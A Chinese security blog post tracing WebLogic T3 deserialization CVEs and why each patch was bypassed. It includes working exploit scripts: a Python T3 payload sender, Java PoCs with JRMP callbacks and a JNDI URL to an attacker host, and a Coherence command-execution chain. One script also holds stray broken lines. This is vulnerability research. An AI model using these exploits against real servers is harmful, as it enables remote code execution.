0%

weblogic历史T3反序列化漏洞及补丁梳理

环境搭建

使用ateam大哥开源的调试环境Weblogic环境搭建工具

漏洞环境搭建

1
2
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21

调试环境搭建

将weblogic依赖的jar包拷贝出来并导入idea。

1
2
3
4
mkdir wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver/server/lib ./wlserver1036
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib

image.png

远程调试配置
image.png

T3 协议说明

t3是oracle对rmi的增强,和rmi一样在网络间传输时数据是序列化过的。文章的重点在于分析漏洞以及补丁为什么可以绕过,就不分析t3协议数据的格式了,在复现时我们只需要将生成的恶意序列化数据套在py模版中即可。如果有师傅想对weblogic体系及其t3协议的正常使用感兴趣推荐阅读WebLogic安全研究报告

CVE-2015-4852

t3协议的传输过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject中读取并进行反序列化。
image.png
因为是t3第一洞所以可以看到ServerChannelInputStream的resolveClass并没有任何做防御。image.png
自带cc链
image.png

所以只需要把ysoserial的生成的payload嵌入t3协议即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return

print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "CommonsCollections1" #CommonsCollections1 Jdk7u21
command = "touch /tmp/CVE-2015-4852"

payload = get_payload1(gadget, command)
exp(host, port, payload)

CVE-2015-4852的修复

补丁:2016年1月 p21984589_1036_Generic
修复方法是在resolveClass中引入了 ClassFilter.isBlackListed进行过滤,跟进weblogic.rmi.ClassFilter可以看到黑名单内容。
image.png

image.png

除此之外,另外几个反序列化点也被加了相同的过滤(不一一打开看了)。
image.png

反序列化两个关键点,一个是触发反序列化的点,二是gadget。现在反序列化触发点有了,后面的t3的cve就是绕黑名单的各种技巧了。

为了让后面的分析更具有说服力,这里以10.3.6为例说明如何打补丁。

1
2
3
4
5
6
7
8
docker run -it  -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21 /bin/bash
docker cp /Users/cengsiqi/Downloads/p21984589_1036_Generic weblogic1036jdk7u21:/p21984589_1036_Generic
docker exec -it weblogic1036jdk7u21 /bin/bash
cd /p21984589_1036_Generic
mv patch-catalog_23510.xml patch-catalog.xml
cd /u01/app/oracle/middleware/utils/bsu
./bsu.sh -install -patch_download_dir=/p21984589_1036_Generic -patchlist=S8C2 -prod_dir=/u01/app/oracle/middleware/wlserver/
/u01/app/oracle/Domains/ExampleSilentWTDomain/bin/startWebLogic.sh

如果打补丁时出现如下错误需要自行把bsu.sh中的内存参数MEM_ARGS调大一点。
image.png
成功后截图如下
image.png
这时再尝试打会出现Unauthorized
image.png

CVE-2016-0638

weblogic.jms.common.StreamMessageImpl没在黑名单,在其反序列化时会读取一段数据并进行反序列化,我们可以把这段数据伪造成rce payload。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import weblogic.jms.common.StreamMessageImpl;

import java.io.*;

public class CVE_2016_0638 {

public static void main(String[] args) throws IOException {
byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_0638");
StreamMessageImpl streamMessage = new StreamMessageImpl(payload);
ser(streamMessage, "CVE_2016_0638.ser");
}

public static byte[] exec(String gadget, String command) throws IOException {
String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command};
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[4096];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

return baos.toByteArray();
}

public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}

乱入一个QA
Q:StreamMessageImpl可以过黑名单很好理解,但是为啥CommonsCollections1依旧可以成功,CommonsCollections1(org.apache.commons.collections.functors)不是在黑名单里面吗?

A:答案是ServerChannelInputStream没有过滤到org.apache.commons.collections.functors(废话)。细节是这样的:ServerChannelInputStream的resolveClass检验到是StreamMessageImpl,不在黑名单里面,通过。然后在反序列化流程中会调用StreamMessageImpl的readExternal,readExternal内部又new了新的ObjectInputStream(以后简称ois)并从缓冲区读反序列化数据再次调用readObject,这里原生的ois就是原生的resolveClass方法没有过滤。

CVE-2016-0638的修复

补丁:2016年4月p22505423_1036_Generic
把原生的ois换成了FilteringObjectInputStream
image.png

image.png

CVE-2016-3510

weblogic.corba.utils.MarshalledObject不在黑名单中,并且在readResolve的时候会读取objBytes的值赋给新new的ois。那么我们在objBytes中放入rce payload即可。
image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import weblogic.corba.utils.MarshalledObject;
import weblogic.jms.common.StreamMessageImpl;

import java.io.*;
import java.lang.reflect.Field;

public class CVE_2016_3510 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
byte[] payload = exec("CommonsCollections1", "touch /tmp/CVE_2016_3510");
MarshalledObject marshalledObject = new MarshalledObject("foo");
Class cls = marshalledObject.getClass();
Field field = cls.getDeclaredField("objBytes");
field.setAccessible(true);
field.set(marshalledObject, payload);
ser(marshalledObject,"./CVE_2016_3510.ser");
}

public static byte[] exec(String gadget, String command) throws IOException {
String[] cmd = {"java", "-jar", "/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar", gadget, command};
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[4096];
int a = -1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

return baos.toByteArray();
}

public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}

CVE-2016-3510的修复

补丁:2016年10月 p23743997_1036_Generic
重写了resolveClass方法,加了过滤。
image.png

image.png

CVE-2017-3248

利用JRMPClient进行带外rce,这个技巧相信看过橘子师傅shiro rce的操作的师很熟悉了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import socket
import sys
import struct
import re
import subprocess
import binascii

def get_payload1(gadget, command):
JAR_FILE = '/Users/cengsiqi/Desktop/javasectools/ysoserial/target/ysoserial-0.0.6-SNAPSHOT-all.jar'
popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)
return popen.stdout.read()

def get_payload2(path):
with open(path, "rb") as f:
return f.read()

def exp(host, port, payload):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))

handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()
sock.sendall(handshake)
data = sock.recv(1024)
pattern = re.compile(r"HELO:(.*).false")
version = re.findall(pattern, data.decode())
if len(version) == 0:
print("Not Weblogic")
return

print("Weblogic {}".format(version[0]))
data_len = binascii.a2b_hex(b"00000000") #数据包长度,先占位,后面会根据实际情况重新
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头
flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志
payload = data_len + t3header + flag + payload
payload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度
sock.send(payload)

if __name__ == "__main__":
host = "127.0.0.1"
port = 7001
gadget = "JRMPClient" #CommonsCollections1 Jdk7u21 JRMPClient
command = "192.168.1.3:8080" #

payload = get_payload1(gadget, command)
)
)
exp(host, port, payload)

CVE-2017-3248的修复

补丁:p24667634_1036_Generic
官方的修复是新加resolveProxyClass,过滤java.rmi.registry.Registry
image.png

CVE-2018-2628

上面提到过滤了Registry,这样ysoserial中原生JRMPClient就打不了,但是仍然有多种办法bypass。

替换接口

引用@lpwd师傅的话:

这个CVE廖也提交了绕过,他的绕过是用java.rmi.activation.Activator替换java.rmi.registry.Registry,从而绕过resolveProxyClass的判断。其实这里对接口没有要求,不一定是rmi接口,随便找一个接口都行,比如java.util.Map

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package ysoserial.payloads;

import java.lang.reflect.Proxy;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.util.Map;

@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Map> {

public Map getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Map proxy = (Map) Proxy.newProxyInstance(
JRMPClient.class.getClassLoader(),
new Class[] { Map.class },
obj);
return proxy;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}

直接用UnicastRef

CVE-2017-3248的构造中把UnicastRef放入了Registry,其实用UnicastRef也能在反序列化的时候发起jrmp请求。这种方法要比替换接口的干脆很多。在ysoserial中加一个JRMPClient2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package ysoserial.payloads;

import java.rmi.server.ObjID;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;


@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<UnicastRef> {

public UnicastRef getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
return ref;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}

CVE-2018-2628的修复

补丁:2018年四月发布的p27395085_1036_Generic
UnicastRef在weblogic.utils.io.oif.WebLogicFilterConfig中加进了黑名单。
image.png

CVE-2018-2893

streamMessageImpl + jrmp代理类绕过。先来看payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import weblogic.jms.common.StreamMessageImpl;

import java.io.*;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class CVE_2018_2893 {
public static void main(String[] args) throws IOException {
ObjID objID = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint tcpEndpoint = new TCPEndpoint("192.168.1.3", 8080);
UnicastRef unicastRef = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
RemoteObjectInvocationHandler remoteObjectInvocationHandler = new RemoteObjectInvocationHandler(unicastRef);
Object object = Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(), new Class[] { Registry.class }, remoteObjectInvocationHandler);
StreamMessageImpl streamMessage = new StreamMessageImpl(serialize(object));
ser(streamMessage, "CVE_2018_2893.ser");
}

public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}

public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}

public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}

什么鬼?payload中用到的streamMessageImpl、Registry、UnicastRef不是已经被修复了吗?

我们来细看一下怎么修的。
streamMessageImpl的readExternal内部是拿给FilteringObjectInputStream过滤。
image.png

FilteringObjectInputStream只是对普通类的反序列化进行了拦截,并没有对代理类进行拦截。对你没看错,虽然在CVE-2017-3248后ServerChannelInoutStream类中的resolveProxyClass过滤了Registry,但是这里的FilteringObjectInputStream并没有实现resolveProxyClass过滤代理类。
image.png

那UnicastRef又为啥逃过一劫?我们来看UnicastRef在序列化的时候经历了什么。在上面的payload中UnicastRef传入了RemoteObjectInvocationHandler,RemoteObjectInvocationHandler继承自RemoteObject。在RemoteObject writeObject时只是写入UnicastRef的类名(并没有把他作为一个类序列化)然后调用UnicastRef的writeExternal。
image.png

UnicastRef又用到了LiveRef的write,写入了反序列化时需要反连的host和端口。
image.png

image.png
由此可见UnicastRef从始至终并没有作为一个类被反序列化,如果分析这个payload的resolve时序会发现完全没有反序列化UnicastRef。image.png
如果你分析序列化出来的数据会发现*
UnicastRef**只是TC_BLOCKDATA而不是TC_CLASSDESC。
image.png

CVE-2018-2893的修复

补丁:18年7月 p27919965_1036_Generic
这次修复把经过resolveClass的java.rmi.server.RemoteObjectInvocationHandler给过滤了。
image.png

CVE-2018-3245

再次引用@lpwd师傅的话:

根据前面的分析可知,我们只需要找一个类似java.rmi.server.RemoteObjectInvocationHandler的类进行替换,就能继续绕过了。
那么这个类应该满足以下条件:
继承远程类:java.rmi.server.RemoteObject
不在黑名单里边(java.rmi.activation. 、sun.rmi.server.)
随便找了一下,符合条件的挺多的:
javax.management.remote.rmi.RMIConnectionImpl_Stub
com.sun.jndi.rmi.registry.ReferenceWrapper_Stub
javax.management.remote.rmi.RMIServerImpl_Stub
sun.rmi.registry.RegistryImpl_Stub
sun.rmi.transport.DGCImpl_Stub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.io.*;
import java.rmi.server.ObjID;
import java.util.Random;

public class CVE_2018_3245 {
public static void main(String[] args) throws IOException {
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("192.168.1.3", 8080);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
ReferenceWrapper_Stub wrapperStub = new ReferenceWrapper_Stub(ref);
ser(wrapperStub, "CVE_2018_3245.ser");

}

public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}

}

CVE-2018-3245的修复

补丁:2018年8月 p28343311_1036_201808Generic
修复方法是添加更底层的java.rmi.server.RemoteObject。
image.png

CVE-2018-3191

这个洞是jndi注入。触发点在JtaTransactionManager。
image.png

image.png

image.png

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class CVE_2018_3191 {
public static void main(String[] args) throws IOException {
String jndiAddress = "rmi://192.168.1.3:1099/Exploit";
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName(jndiAddress);
ser(jtaTransactionManager, "CVE_2018_3191.ser");
}

public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}
}

CVE-2018-3191的修复

补丁:2018年8月 p28343311_1036_Generic
image.png

CVE-2020-2555

Oracle Coherence组件存在漏洞,该组件默认集成在Weblogic12c及以上版本中(网上资料这么说的:web10.3.6也有只是默认没有启用,未验证)。
这个漏洞和cc5的构造有异曲同工之妙,触发点在BadAttributeValueExpException#readObject 中调用toString方法。
image.png
在Coherence组件中LimitFilter这个类刚好可以被序列化并且有toString这个方法。因为是反序列化,this.m_comparator和this.m_oAnchorBottom都可控。也就说extractor.extract(``this``.m_oAnchorBottom)完全可控(更严格的说m_comparator需要是ValueExtractor的实例并且和m_oAnchorBottom都需要可被序列化)。
image.png
我们来看一下有哪些满足条件的类实现了extract。
可以注意到com.tangosol.util.extractor.ReflectionExtractor#extract
image.png
它可以被序列化并且extract里面是一组反射操作。
image.png

image.png
其次注意到com.tangosol.util.extractor.ChainedExtractor#extract
image.png
里面是对extrator进行链式操作(并且这个类同样可以被反序列化),说到这里已经可以看出来是和cc链一个套路了。
image.png

这里我是在windows上复现的(很奇怪我在linux完整安装打不了,windows上默认安装就可以,后来发现linux环境是7u21这个版本的BadAttributeValueExpException并没有readObject方法,另外不需要用完整示例安装默认安装即可)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.tangosol.util.ValueExtractor;
import com.tangosol.util.extractor.ChainedExtractor;
import com.tangosol.util.extractor.ReflectionExtractor;
import com.tangosol.util.filter.LimitFilter;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;

public class CVE_2020_2555 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
//String cmd = "touch /tmp/CVE_2020_2555_12013";
String cmd ="calc.exe";
ValueExtractor[] valueExtractors = new ValueExtractor[]{
new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[0]}),
new ReflectionExtractor("invoke", new Object[]{null, new Object[0]}),
//new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", cmd}})
new ReflectionExtractor("exec", new Object[]{new String[]{"cmd.exe", "/c", cmd}})
};
// chain
LimitFilter limitFilter = new LimitFilter();
limitFilter.setTopAnchor(Runtime.class);
BadAttributeValueExpException expException = new BadAttributeValueExpException(null);
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, new ChainedExtractor(valueExtractors));
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, Runtime.class);
Field val = expException.getClass().getDeclaredField("val");
val.setAccessible(true);
val.set(expException, limitFilter);
ser(expException, "./CVE_2020_2555_12013.ser");
}

public static void ser(Object obj, String serName) throws IOException {
File file = new File(serName);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file));
oos.writeObject(obj);
System.out.println("-------序列化成功" + serName);
}

}

CVE-2020-2555的修复

图片来自ZDL(侵删)可以看到是删了extractor.extract
image.png

总结

梳理完一遍之后,我们得以看到整个绕过思路的全貌。笔者主观分为三个阶段。

  • 第一阶段,CVE-2016-0638和CVE-2016-3510。利用反序列化流程中新new的原生ois绕过,只要找到了read*系列的点可以比较容易的看出来。
  • 第二阶段,cve-2017-3248到cve-2018-3191。利用jrmp、jndi带外rce,漏洞点没有在read*的代码上下文中需要多跟几步有点“pop”的感觉了。
  • 第三阶段,cve-2020-2555,需要对java的反序列化出现过知识点很熟悉(java原生类的触发点+weblogic组件中类似cc的套路),据说这个漏洞的作者也挖了很久。

碍于笔者水平,行文出错在所难免,如有阅读此文的师傅发现错误还请不吝指正。

参考

从WebLogic看反序列化漏洞的利用与防御
Java 序列化之 Externalizable
Weblogic漏洞调试笔记
如何控制开放HTTPS服务的weblogic服务器
Weblogic CVE-2016-0638 StreamMessageImpl反序列化绕过分析
Patch S8C2 is mutually exclusive and cannot coexist with patch(es): ZLNA,EJUW
Weblogic JRMP反序列化漏洞回顾
CVE-2018-2893:Oracle WebLogic Server 远程代码执行漏洞分析预警
漫谈 Weblogic CVE-2020-2555
Oracle Coherence 反序列化漏洞分析(CVE-2020-2555)